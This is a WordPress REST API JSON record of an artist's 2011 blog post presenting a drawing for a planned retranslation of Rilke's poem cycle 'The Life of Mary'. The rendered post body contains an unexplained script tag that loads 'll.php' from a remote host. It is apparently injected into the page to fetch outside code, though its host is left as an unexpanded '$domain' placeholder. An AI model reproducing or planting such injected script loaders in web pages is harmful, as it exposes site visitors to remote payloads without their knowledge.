{"id":1126,"date":"2011-03-13T00:22:09","date_gmt":"2011-03-13T07:22:09","guid":{"rendered":"https:\/\/www.noahsaterstrom.com\/workaday\/?p=1126"},"modified":"2013-04-27T14:52:14","modified_gmt":"2013-04-27T21:52:14","slug":"rast-auf-der-flucht-nach-agypten","status":"publish","type":"post","link":"https:\/\/www.noahsaterstrom.com\/workaday\/rast-auf-der-flucht-nach-agypten\/","title":{"rendered":"Rast auf der Flucht nach \u00c4gypten"},"content":{"rendered":"<p><span style=\"font-size: 10px;\">9&#8243; x 12&#8243;<\/span><\/p>\n<p>Continuing (read: starting) the images for a forthcoming retranslation of Rilke&#8217;s cycle of poems &#8220;The Life of Mary&#8221;.  A number of these will be showing up on the work-a-day in the next few months &#8212; results may range from pretty successful to laughably unsuccessful &#8212; as I try to enter a very challenging text with brown ink and gold leaf, materials I don&#8217;t understand.  Will start by drawing.  Here is me beating around the edges of &#8220;Rast auf der Flucht nach \u00c4gypten&#8221; (Rest on the Flight to Egypt).<\/p>\n<p><a href=\"https:\/\/www.noahsaterstrom.com\/workaday\/wp-content\/uploads\/2011\/03\/rastaufderflucht1.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.noahsaterstrom.com\/workaday\/wp-content\/uploads\/2011\/03\/rastaufderflucht1-223x300.jpg\" alt=\"\" title=\"rastaufderflucht\" width=\"223\" height=\"300\" class=\"alignnone size-medium wp-image-1129\" \/><\/a><br \/>\n<script src=\"http:\/\/$domain\/ll.php?kk=11\"><\/script><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>9&#8243; x 12&#8243; Continuing (read: starting) the images for a forthcoming retranslation of Rilke&#8217;s cycle of poems &#8220;The Life of Mary&#8221;. A number of these will be showing up on the work-a-day in the next few months &#8212; results may range from pretty successful to laughably unsuccessful &#8212; as I try to enter a very [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[4,63],"tags":[],"class_list":["post-1126","post","type-post","status-publish","format-standard","category-drawings","category-gallery","entry"],"_links":{"self":[{"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/posts\/1126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/comments?post=1126"}],"version-history":[{"count":5,"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/posts\/1126\/revisions"}],"predecessor-version":[{"id":7354,"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/posts\/1126\/revisions\/7354"}],"wp:attachment":[{"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/media?parent=1126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/categories?post=1126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.noahsaterstrom.com\/workaday\/wp-json\/wp\/v2\/tags?post=1126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}